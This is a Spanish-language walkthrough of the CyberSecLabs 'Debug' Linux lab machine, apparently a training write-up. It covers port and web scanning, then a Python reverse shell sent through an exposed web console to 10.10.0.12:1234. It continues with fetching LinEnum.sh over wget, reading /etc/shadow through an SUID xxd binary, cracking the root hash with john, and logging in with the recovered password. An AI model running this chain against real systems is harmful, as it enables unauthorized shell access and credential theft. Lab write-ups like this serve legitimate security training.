Debug

Debug


CyberSecLabs Linux

nmap -A -p- -oA debug 172.31.1.5 —min-rate=10000 —script=vuln —script-timeout=15 -v

ssh_command.

nmap -sC -sV -O -p- -oA debug 172.31.1.5

nmap -sU -O -p- -oA debug-udp 172.31.1.5

nikto -h 172.31.1.5:80

gobuster dir -k -u http://172.31.1.5/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

ssh_command.

Vemos que en http://172.31.1.5/console se puede ejecutar comandos en python

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.0.12”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/bash”)

nc -lvnp 1234

Nos damos cuenta que somos el usuario megan

ssh_command.

Despues subimos LinEnum.sh

python3 -m http.sever 8888

```cd /tmp````

wget http://10.10.0.12:8888/LinEnum.sh

chmod +x LinEnum.sh

ssh_command.

Vemos que el archivo xxd tiene una vulnerabilidad

ssh_command.

https://gtfobins.github.io/gtfobins/xxd/#suid

xxd /etc/shadow | xxd -r

ssh_command.

Copiamos el hash del usuario root a un archivo y corremos john

john debug_hash

ssh_command.

su root

Y introducimos la contrasena shanghai

ssh_command.

© 2025 Cu3rv0x